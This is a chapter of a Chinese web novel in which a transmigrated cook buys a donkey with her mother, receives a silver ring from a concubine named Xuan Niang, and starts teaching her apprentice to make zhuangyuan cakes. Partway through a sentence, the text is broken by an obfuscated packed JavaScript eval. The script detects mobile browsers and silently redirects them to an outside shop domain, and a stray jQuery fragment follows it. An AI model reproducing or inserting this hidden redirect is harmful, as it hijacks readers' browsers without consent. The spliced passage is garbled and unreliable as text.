姜昀没有直接回家,而是和温氏一起绕道木匠铺,去订了一辆小板车。
随后,回家的路上,姜昀一个劲儿摸着大毛驴的额头和脊背,喜欢的不得了。
温氏自己摸了两下,小伙子把毛驴洗得很干净,摸几下手掌也不会残留污渍和异味,就随姜昀去了。
“昀娘,走累了吧?你上去骑着,娘给你牵驴。”
姜昀看离家不远了,便点点头,翻身骑了上去。
毛驴性格实在温顺,姜昀停下,它就跟着停下,任由姜昀爬到它背上,温氏牵着它走,它就保持着和温氏一样的速度往前行进。
世人都爱马,姜昀偏偏觉得毛驴更好。
体格子小一些,方便她上下,脾气也好,不像马匹,尤其是西域进贡的那些名贵烈马,脾性的大要死,需要花大力气驯服了才好安心骑乘。
“娘,等板车做好,日后出摊便让它拉车,咱们坐在车上赶驴就好。而且啊,有了驴和板车,就可以像码头上那妇人一样,多准备几个菜了。卖的更多,赚得也更多。”
姜昀畅想着未来,一颦一笑都带着光。
“好啊,你说怎么着就怎么着,娘都听你的。”
不知从何时起,姜昀已经慢慢成为了这个家庭的主心骨。她拿的主意,温氏都照做。
“哎娘,你说,咱们突然带回去这么个大家伙,爹和哥哥们会不会吓一跳啊?”
温氏笑道:“先斩后奏都已经使出来了,还想这个作甚,他们又不是吓大的。我倒是觉得,你现在最应该担心的是小裴和小林,万一人家真的找他俩寻仇了咋办?”
姜昀浑不在意:“娘,他堂堂县令,哪里能被小贩拿捏了?你不如担心那些个人找他寻仇的话,得在大牢里头关几年。”
小贩敢那么嚣张,无非就是欺负小伙子是个种田的老实人,欺负她俩是女子,这么喜欢欺负人,且看他们踢到裴时淮这块铁板的时候脚疼不疼。
温氏还是放心不下:“可是万一呢?小裴和小林毕竟就两个人。”
姜昀想了想,“那成吧,咱们下午去学堂那边出摊的时候,顺便跟他说一声,让他好有个准备。”
进了家门,温氏把驴在后院拴好,姜昀坐在自己房间,再次打开赵管家给的钱袋里,从中取出缠着纸条的银戒指。
纸条上落着几行小字:半月已逝,感念照拂。凭此小物,聊表心意。
原来在她为四姨娘准备路上吃的糕点的时候,四姨娘也在想着回报她的心意。
纸条最后还有落款:萱娘。
原来她叫萱娘,真是很好听的名字。
姜昀拿起那枚银戒指,放到自己的左手食指上试戴了一下,有些偏大。但是银是相当柔韧的金属,戒指又是活口,姜昀将它用力捏了几下,便调整成了刚好符合自己手指的大小。
四姨娘挑选这件小东西是用了心的,戒指样式很素净,只錾刻冷媛两朵桃花,整体式细细的一枚,不占地方,也不影响她切菜干活,她日常就能戴。
“谢谢你,萱娘,我会好好爱惜的。”
也希望那些糕点,能让你吃得开心。
姜昀将纸条折好,小心收进了妆奁里面。
走到院子,姜昀四下看了一下,不见小白猫的踪影,“咦?娘,你见着小灰了吗?”
姜昀本来想给小猫取名叫小白,转念一想这个名字太大众了,就管它叫小灰。
“哦,你上午和你爹买菜去的时候,它跟着老二钓鱼去了。”
姜昀哭笑不得:“他还不死心啊?别把我小灰带坏了。”
姜栩自打那天被笑话了一通,便发愤图强,不破楼兰终不还……呃,不是,是不钓到龙王就誓不罢休。于是,自制了好几根新竹竿,还为了抓蚯蚓把自家院子弄得坑坑洼洼。
即便如此,老天还是不肯眷顾他。
一连几日,姜栩连条泥鳅也没钓上来过。他坚持不懈努力的唯一结果,就是姜昀那瓷盆里头的小鱼越来越多了。
“不到黄河心不死,由得他去吧,就当是锻炼心性了。”
“也好。”
姜昀开始着手准备下午出摊用的吃食。
明德学堂马上就要季考,姜昀打算用面粉、五花肉、梅干菜、大葱等食材做状元饼。
这饼且不说滋味如何,光凭名字,就一定能让家长们趋之若鹜。再加上状元饼背后的传说故事,望子成龙的家长们,想不心动都难。
仅凭这两样,姜昀就对状元饼非常有信心。更何况,她姜大厨出马,滋味也一定是没的说的。
温氏洗净五花肉,姜昀切好葱末,竹竿就到了,还带来几根丝瓜络。
见姜昀要张口,竹竿立马竖起手掌往前一推:“打住!师傅,我知道你要说啥,这不是我花钱买的,是我家里头自己种的,不过我平时没怎么照料它们,新鲜丝瓜没有一个好的,倒是垂着一些丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710293|201983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瓜络,我想着你刷锅用正好,就给你拿来了。”
竹竿已经大概了解姜昀收礼的习惯了,太贵重的她不肯收,但是不大值钱的小玩意儿,如果是精致漂亮的,或者是实用的,她是会收的。
就比如他上次给小灰买了个用麻绳编的穿着木雕小鱼的项圈,姜昀不仅收了,还立马给小灰带上,而后抱着小灰,看着木头小鱼乐了好久,差点忘了教徒弟做菜。
“行,那你放着吧。”
果然,这次姜昀又收下了。
竹竿放下丝瓜络,洗干净双手,凑到姜昀身边,问:“师傅,咱今天做什么好吃的呀?”
“状元饼,怎么样,没听过吧?”
竹竿摇摇头,“没听过。”
状元饼是乾隆初年才有的东西,她穿进来的这本美食文不涉及很正常。
这样正好,全大夏都没有,就她独一份。
“状元饼呢,传说是有个地方虽沃野千里,百姓们安居乐业,可偏偏路不通天,百年难出一秀才,更遑论进士、状元。后来,这地方出了一位年少多才的书生,乡亲们希望他金榜题名,为自己的家乡争一口气,尽自己所能帮助他读书。他寒窗苦读多年,要进京赶考的时候,乡亲们又是各自出力,帮他整理行装,其中,一名厨子为他特制了一种饼。”
竹竿抢着说下去:“这种饼就是状元饼,那个厨子就是神仙变的,只要人吃了那种饼就能中状元,是不是?”
姜昀无奈笑笑:“真要有这种东西的话,全天下的学子都不用学了,只要吃口饼就行。那岂不是要满大街都是状元了?”
竹竿尴尬地摸摸头。
姜昀揉着面团,继续说下去:“进京赶考之路坎坷不已,书生半路遇到了暴风雨,因此受困于湖中七七四十九天,其他人给他准备的干粮都发生了霉变,唯独这名厨子给他准备的饼还是好的。
他就是靠着这种饼得以存活,成功抵达京城赴考,并最终高中状元。回家乡的时候,他还带着皇帝御笔亲题‘状元饼’三字的饼,去感谢那位厨子。
此后,这种饼就以‘状元饼’的名字流传下来。”
“原来如此。”竹竿点点头,忍不住畅想道:“师傅,若是来日你到京城开设酒楼食肆,每逢春闱便卖上一次,必定能名扬天下!”
“那必然是很久以后的事情了,我眼下只想多赚些银钱,买下此处的宅子,再租一间铺子,开设属于我自己的食肆。”